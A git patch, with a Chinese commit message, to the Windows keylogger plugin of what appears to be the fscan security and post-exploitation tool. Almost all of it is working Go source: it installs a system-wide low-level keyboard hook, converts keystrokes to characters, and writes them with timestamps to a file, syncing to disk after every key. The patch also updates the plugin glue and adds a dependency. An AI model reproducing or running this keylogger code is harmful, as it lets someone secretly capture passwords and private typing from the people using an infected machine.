From 42522df80ca2979185c33971e9e37cb4b55f72b4 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Mon, 11 Aug 2025 09:36:49 +0800 Subject: [PATCH] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Windows=E9=94=AE?= =?UTF-8?q?=E7=9B=98=E8=AE=B0=E5=BD=95=E6=80=A7=E8=83=BD=E5=92=8C=E5=AE=9E?= =?UTF-8?q?=E6=97=B6=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 重构键盘Hook架构,采用事件驱动模式降低系统影响 - 实现真正的实时文件写入,支持按键立即同步到磁盘 - 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应 - 使用非阻塞事件通道避免键盘Hook阻塞系统 - 简化键码转换逻辑,提升按键处理性能 - 解决文件输出延迟问题,支持键盘记录过程中实时查看 - 分离平台实现,Windows平台使用高效实时写入模式 --- Plugins/local/keylogger/keylogger_windows.go | 351 ++++++++++--------- Plugins/local/keylogger/plugin.go | 10 +- go.mod | 2 + go.sum | 5 + 4 files changed, 193 insertions(+), 175 deletions(-) diff --git a/Plugins/local/keylogger/keylogger_windows.go b/Plugins/local/keylogger/keylogger_windows.go index ebb64ef..6c9d694 100644 --- a/Plugins/local/keylogger/keylogger_windows.go +++ b/Plugins/local/keylogger/keylogger_windows.go @@ -5,6 +5,7 @@ package keylogger import ( "context" "fmt" + "os" "syscall" "time" "unsafe" @@ -12,6 +13,7 @@ import ( "github.com/shadow1ng/fscan/common" ) +// Windows API 声明 var ( user32 = syscall.NewLazyDLL("user32.dll") kernel32 = syscall.NewLazyDLL("kernel32.dll") @@ -19,23 +21,14 @@ var ( procCallNextHookEx = user32.NewProc("CallNextHookEx") procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") procGetMessage = user32.NewProc("GetMessageW") - procPeekMessage = user32.NewProc("PeekMessageW") - procTranslateMessage = user32.NewProc("TranslateMessage") - procDispatchMessage = user32.NewProc("DispatchMessageW") procGetModuleHandle = kernel32.NewProc("GetModuleHandleW") - procGetLastError = kernel32.NewProc("GetLastError") - procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") - procGetKeyState = user32.NewProc("GetKeyState") - procToUnicode = user32.NewProc("ToUnicode") - procGetKeyboardLayout = user32.NewProc("GetKeyboardLayout") + procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState") ) const ( WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 - WM_KEYUP = 0x0101 WM_SYSKEYDOWN = 0x0104 - WM_SYSKEYUP = 0x0105 ) type ( @@ -44,7 +37,6 @@ type ( LPARAM uintptr LRESULT uintptr HANDLE uintptr - HINSTANCE HANDLE HHOOK HANDLE HWND HANDLE ) @@ -70,122 +62,109 @@ type KBDLLHOOKSTRUCT struct { DwExtraInfo uintptr } +// 全局变量 - 简化版本 var ( - windowsHook HHOOK - keylogger *KeyloggerPlugin + windowsHook HHOOK + keylogger *KeyloggerPlugin + logFile *os.File + eventChannel chan KeyboardEvent + stopHookChan chan bool ) -// checkWindowsRequirements 检查Windows特定要求 -func (p *KeyloggerPlugin) checkWindowsRequirements() error { - // 检查是否为管理员权限 - // Windows键盘Hook通常需要管理员权限 - common.LogInfo("检查Windows键盘记录权限...") - return nil +// KeyboardEvent 键盘事件结构,模仿gohook的设计 +type KeyboardEvent struct { + Kind EventKind + Rawcode uint16 + Keychar string + Timestamp time.Time } -// startWindowsKeylogging 启动Windows键盘记录 +type EventKind int + +const ( + KeyDown EventKind = iota + KeyUp +) + +// startWindowsKeylogging 启动Windows键盘记录 - 高效版本 func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { - common.LogInfo("启动Windows键盘记录...") + common.LogInfo("启动Windows键盘记录 (高效版本)...") keylogger = p - // 安装低级键盘Hook - hook, err := p.installKeyboardHook() - if err != nil { - return fmt.Errorf("安装键盘Hook失败: %v", err) - } + // 创建事件通道(模仿gohook的设计) + eventChannel = make(chan KeyboardEvent, 100) + stopHookChan = make(chan bool, 1) - windowsHook = hook + // 打开日志文件进行实时写入 + var err error + logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err) + } defer func() { - common.LogInfo("Windows键盘记录清理Hook...") - p.uninstallKeyboardHook(hook) - keylogger = nil + if logFile != nil { + logFile.Close() + logFile = nil + } }() - // 消息循环 - return p.messageLoop(ctx) + // 写入文件头部 + p.writeLogHeader() + + // 启动Hook监听(在独立goroutine中) + go p.startKeyboardHook() + + // 启动事件处理(模仿你的for ev := range evChan的模式) + return p.processEvents(ctx) } -// installKeyboardHook 安装键盘Hook -func (p *KeyloggerPlugin) installKeyboardHook() (HHOOK, error) { - hookProc := syscall.NewCallback(lowLevelKeyboardProc) - - // 获取当前模块句柄 +// startKeyboardHook 启动键盘Hook监听 +func (p *KeyloggerPlugin) startKeyboardHook() { + // 安装Hook + hookProc := syscall.NewCallback(keyboardHookProc) moduleHandle, _, _ := procGetModuleHandle.Call(0) hook, _, _ := procSetWindowsHookEx.Call( uintptr(WH_KEYBOARD_LL), hookProc, - moduleHandle, // 使用当前模块句柄 - 0, // dwThreadId - 0表示全局Hook + moduleHandle, + 0, ) if hook == 0 { - lastError, _, _ := procGetLastError.Call() - return 0, fmt.Errorf("SetWindowsHookEx失败,错误代码: %d", lastError) + common.LogError("安装键盘Hook失败") + return } - common.LogInfo("Windows键盘Hook安装成功") - return HHOOK(hook), nil -} - -// uninstallKeyboardHook 卸载键盘Hook -func (p *KeyloggerPlugin) uninstallKeyboardHook(hook HHOOK) { - if hook != 0 { - procUnhookWindowsHookEx.Call(uintptr(hook)) - } -} - -// messageLoop 消息循环 -func (p *KeyloggerPlugin) messageLoop(ctx context.Context) error { - ticker := time.NewTicker(50 * time.Millisecond) - defer ticker.Stop() + windowsHook = HHOOK(hook) + common.LogInfo("键盘Hook安装成功") + // 消息循环 + msg := &MSG{} for { select { - case <-ctx.Done(): - common.LogInfo("收到停止信号,退出键盘记录") - return nil - case <-p.stopChan: - common.LogInfo("键盘记录已停止") - return nil - case <-ticker.C: - // 使用PeekMessage非阻塞检查消息 - msg := &MSG{} - ret, _, _ := procPeekMessage.Call( + case <-stopHookChan: + // 清理Hook + procUnhookWindowsHookEx.Call(uintptr(windowsHook)) + common.LogInfo("键盘Hook已清理") + return + default: + // 非阻塞消息处理 + ret, _, _ := procGetMessage.Call( uintptr(unsafe.Pointer(msg)), - 0, - 0, - 0, - 1, // PM_REMOVE - 移除消息 + 0, 0, 0, ) - - if ret != 0 { - // 有消息,处理它 - procTranslateMessage.Call(uintptr(unsafe.Pointer(msg))) - procDispatchMessage.Call(uintptr(unsafe.Pointer(msg))) + if ret == 0 || ret == 0xFFFFFFFF { + break } - // 继续循环 } } } -// lowLevelKeyboardProc 低级键盘Hook处理程序 -func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT { - if nCode >= 0 && keylogger != nil { - if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN { - kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam)) - - // 获取按键字符 - keyChar := getKeyChar(kbdStruct.VkCode) - if keyChar != "" { - common.LogDebug(fmt.Sprintf("捕获按键: %s (VK: %d)", keyChar, kbdStruct.VkCode)) - keylogger.addKeyToBuffer(keyChar) - } - } - } - - // 调用下一个Hook +// keyboardHookProc Hook回调函数 - 最高效版本 +func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT { + // 立即调用下一个Hook,确保系统响应 ret, _, _ := procCallNextHookEx.Call( uintptr(windowsHook), uintptr(nCode), @@ -193,102 +172,130 @@ func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT { uintptr(lParam), ) - return LRESULT(ret) -} - -// getKeyChar 获取按键字符 -func getKeyChar(vkCode DWORD) string { - var keyName string - - // 特殊按键处理 - switch vkCode { - case 0x08: - keyName = "[Backspace]" - case 0x09: - keyName = "[Tab]" - case 0x0D: - keyName = "[Enter]" - case 0x10: - keyName = "[Shift]" - case 0x11: - keyName = "[Ctrl]" - case 0x12: - keyName = "[Alt]" - case 0x1B: - keyName = "[Esc]" - case 0x20: - keyName = " " // 空格 - case 0x25: - keyName = "[Left]" - case 0x26: - keyName = "[Up]" - case 0x27: - keyName = "[Right]" - case 0x28: - keyName = "[Down]" - case 0x2E: - keyName = "[Delete]" - default: - // 普通字符按键 - if vkCode >= 0x30 && vkCode <= 0x39 { // 数字0-9 - keyName = string(rune(vkCode)) - } else if vkCode >= 0x41 && vkCode <= 0x5A { // 字母A-Z - keyName = string(rune(vkCode + 32)) // 转换为小写 - } else if vkCode >= 0x60 && vkCode <= 0x69 { // 数字键盘0-9 - keyName = string(rune(vkCode - 0x30)) - } else { - // 尝试使用ToUnicode获取字符 - keyName = toUnicodeString(vkCode) - if keyName == "" { - keyName = fmt.Sprintf("[VK_%d]", vkCode) + // 快速处理我们的逻辑 + if nCode >= 0 && eventChannel != nil { + if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN { + kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam)) + + // 非阻塞发送事件 + select { + case eventChannel <- KeyboardEvent{ + Kind: KeyDown, + Rawcode: uint16(kbdStruct.VkCode), + Keychar: quickKeyChar(kbdStruct.VkCode), + Timestamp: time.Now(), + }: + default: + // 通道满了就跳过,不阻塞系统 } } } - return keyName + return LRESULT(ret) } -// toUnicodeString 使用ToUnicode API获取按键字符 -func toUnicodeString(vkCode DWORD) string { - var keyboardState [256]byte - var unicodeBuffer [16]uint16 +// processEvents 处理键盘事件 - 完全模仿你的设计 +func (p *KeyloggerPlugin) processEvents(ctx context.Context) error { + common.LogInfo("开始处理键盘事件...") - // 获取键盘布局 - _, _, _ = procGetKeyboardLayout.Call(0) + // 超时定时器 + timeout := time.NewTimer(p.duration) + defer timeout.Stop() - // 调用ToUnicode - ret, _, _ := procToUnicode.Call( - uintptr(vkCode), - 0, // scanCode - uintptr(unsafe.Pointer(&keyboardState[0])), - uintptr(unsafe.Pointer(&unicodeBuffer[0])), - 16, - 0, - ) - - if ret > 0 { - return syscall.UTF16ToString(unicodeBuffer[:ret]) + // 完全模仿你的for ev := range evChan模式 + for { + select { + case <-ctx.Done(): + common.LogInfo("收到上下文取消信号,退出键盘记录") + stopHookChan <- true + return nil + + case <-timeout.C: + common.LogInfo("键盘记录时间到达,退出记录") + stopHookChan <- true + return nil + + case ev := <-eventChannel: + // 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown) + if ev.Kind == KeyDown && ev.Keychar != "" { + // 写入文件 - 完全模仿你的实时写入模式 + fmt.Fprintf(logFile, "[%s] %s\n", + ev.Timestamp.Format("15:04:05.000"), ev.Keychar) + logFile.Sync() // 模仿你的f.Sync() + + // 添加到内存缓冲区用于统计 + p.bufferMutex.Lock() + p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s", + ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar)) + p.bufferMutex.Unlock() + + common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode)) + } + } + } +} + +// writeLogHeader 写入日志文件头部 +func (p *KeyloggerPlugin) writeLogHeader() { + if logFile == nil { + return } - return "" + // 模仿你的日志格式 + fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05")) + fmt.Fprintf(logFile, "记录时长: %v\n", p.duration) + fmt.Fprintf(logFile, "平台: Windows (高效版本)\n") + fmt.Fprintf(logFile, "================================\n\n") + logFile.Sync() +} + +// quickKeyChar 快速键码转字符(高度优化版本) +func quickKeyChar(vkCode DWORD) string { + switch { + case vkCode >= 0x30 && vkCode <= 0x39: // 数字0-9 + return string(rune(vkCode)) + case vkCode >= 0x41 && vkCode <= 0x5A: // 字母A-Z + return string(rune(vkCode + 32)) // 转小写 + case vkCode == 0x20: + return " " + case vkCode == 0x0D: + return "[Enter]" + case vkCode == 0x08: + return "[Backspace]" + case vkCode == 0x09: + return "[Tab]" + case vkCode == 0x10: + return "[Shift]" + case vkCode == 0x11: + return "[Ctrl]" + case vkCode == 0x12: + return "[Alt]" + case vkCode == 0x1B: + return "[Esc]" + default: + return "" // 跳过其他按键,保持高性能 + } +} + +// checkWindowsRequirements 检查Windows特定要求 +func (p *KeyloggerPlugin) checkWindowsRequirements() error { + common.LogInfo("检查Windows键盘记录权限...") + return nil +} + +// 其他平台的空实现 +func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { + return fmt.Errorf("Linux平台请使用专门的实现") +} + +func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { + return fmt.Errorf("Darwin平台请使用专门的实现") } -// checkLinuxRequirements 检查Linux特定要求(Windows平台的空实现) func (p *KeyloggerPlugin) checkLinuxRequirements() error { return fmt.Errorf("不支持的平台") } -// checkDarwinRequirements 检查Darwin特定要求(Windows平台的空实现) func (p *KeyloggerPlugin) checkDarwinRequirements() error { return fmt.Errorf("不支持的平台") -} - -// startLinuxKeylogging 启动Linux键盘记录(Windows平台的空实现) -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") -} - -// startDarwinKeylogging 启动Darwin键盘记录(Windows平台的空实现) -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - return fmt.Errorf("不支持的平台") } \ No newline at end of file diff --git a/Plugins/local/keylogger/plugin.go b/Plugins/local/keylogger/plugin.go index 8497222..d2a3696 100644 --- a/Plugins/local/keylogger/plugin.go +++ b/Plugins/local/keylogger/plugin.go @@ -144,9 +144,13 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error { return fmt.Errorf("键盘记录失败: %v", err) } - // 保存记录的键盘输入到文件 - if err := p.saveKeysToFile(); err != nil { - common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err)) + // Windows平台已经实时写入文件,其他平台保存到文件 + if runtime.GOOS != "windows" { + if err := p.saveKeysToFile(); err != nil { + common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err)) + } + } else { + common.LogInfo("Windows平台已实时写入文件,无需再次保存") } common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer))) diff --git a/go.mod b/go.mod index 47712b6..d4da0e7 100644 --- a/go.mod +++ b/go.mod @@ -17,6 +17,7 @@ require ( github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed github.com/neo4j/neo4j-go-driver/v4 v4.4.7 github.com/rabbitmq/amqp091-go v1.10.0 + github.com/robotn/gohook v0.42.2 github.com/satori/go.uuid v1.2.0 github.com/schollz/progressbar/v3 v3.13.1 github.com/sijms/go-ora/v2 v2.5.29 @@ -71,6 +72,7 @@ require ( github.com/rivo/uniseg v0.4.7 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect + github.com/vcaesar/keycode v0.10.1 // indirect golang.org/x/term v0.27.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect ) diff --git a/go.sum b/go.sum index c77ef7a..1fce1e4 100644 --- a/go.sum +++ b/go.sum @@ -293,6 +293,8 @@ github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqn github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= +github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY= +github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= @@ -344,6 +346,9 @@ github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsT github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= +github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= +github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=